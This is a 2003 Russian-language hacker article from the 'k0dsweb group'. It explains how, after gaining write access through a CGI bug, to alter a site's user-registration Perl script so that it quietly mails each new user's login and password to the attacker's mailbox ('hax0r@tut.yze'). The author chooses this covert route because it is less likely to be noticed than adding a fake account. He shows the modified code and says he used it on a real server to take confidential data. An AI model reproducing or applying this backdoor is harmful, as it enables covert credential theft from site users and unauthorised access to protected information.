======================================================================
#								     #
#                Author: {dr}{nerve}  // k0dsweb gr0up		     #
#          Статья является собственностью команды KODSWEB            #
#     Любое растпространение без нашего ведома строго запрещено.     #
#			   -= 6.02.2003 =-			     #
#								     #
======================================================================
#								     #
#            Используем уязвимости в CGI-скриптах с умом	     #	
#								     #
======================================================================

В данной статье я расскажу о грамотном использовании дырки в скрипте.

Все знают кто такие script kiddies и чем они занимаются.
Чем заканчивается результат их поиска и применения багов тоже все знают - это
дефейс. Дефейсы тоже иногда нужно делать, я не спорю:)

Сейчас мы рассмотрим более грамотный способ.

Предположим, что мы получили возможность заменять файлы на сервере с использованием
какого-либо бага. Прошерстили сайт на наличие .cgi .pl, а также диск через баг и
пришли к выводу, что сайт содержит конфиденциальную информацию ну очень интересного
для нас содержания. Информация сокрыта от посторонних глаз, так что просмотреть ее
через стандартные способы и дырки не получается. /etc/passwd тоже паррлей не показывает.
Вроде бы можно бросить, сделав дефейс:)

Но мы с вами пойдем дальше. Вдруг находим скрипт, добавляющий пользователя в базу
данных по паре логин-пароль, и высылающий этот логин-пароль вновь зарегистрированному
пользователю на e-mail. Почему этот пользователь может читать нужную информацию,
а мы нет? Не порядок.

Дальше все может разворачиваться по двум сценариям: 

1. Написать фальсифицированный скрипт по подобию стянутого с сервера скрипта,
который просто добавит наш аккаунт в базу данных.

2. Немного подправить скрипт таким образом, чтобы он высылал логин-пароль не только
вновь зарегистрированному юзеру, но и нам на почту, к примеру.

С точки зрения приватности второй способ безопаснее, потому как добавление нового
никому неизвестного пользователя в базу данных может вызвать подозрение 
системного администратора, а вот использование аккаунта реально зарегистрированного
(возможно даже заплатившего деньги за регистрацию) 
скорее всего останется незамеченным.

Рассмотрим пример скрипта, который я стянул с одного сервера, где и проделал 
все описанное.

Ну вот нужная мне секция . Я решил пусть все пароли и мне на Email приходят, 
что им жалко что ли ?

	$body .= "Thanks for joining us.  Please write down or remember your username\n";
	$body .= "and password for future reference.\n\n";
	$body .= "Username: $form_data{'email'}\n";
	$body .= "Your Password: $pwd\n";
	$body .= "Your account will expire on: $expire_month $expire_day $expire_year\n\n";
	$body .= "To enter members' area go to www.не_скажу.com/members/ and enter your login and password.\n\n";
	$body .= "Enjoy your visit at трали вали site !\n";

	$admin_email = "админ@сервер.ком";

	&send_mail("$admin_email","$form_data{'email'}", "Account activated.\n\n", "$body");

# А это и есть та заветная строчка, которая позволит 
# получить доступ к нужной нам информации.
# Просто вызовем функцию еще раз и пошлем пароль себе на ящик.

	&send_mail("$admin_email","hax0r@tut.yze",
	"Account activated.\n\n", "$body");

	open (MEMBERSBASE, ">>c:/path/Members/$form_data{'email'}.user") || &CgiDie
	print MEMBERSBASE "$body";
	close (MEMBERSBASE);

	exit;

Таким образом мы получили login&password на мыло и слили всю заветную инфу.


Все отзывы/предложения принимаются по адресу: admin@kodsweb.ru
					      [k0dsweb] kodsweb.ru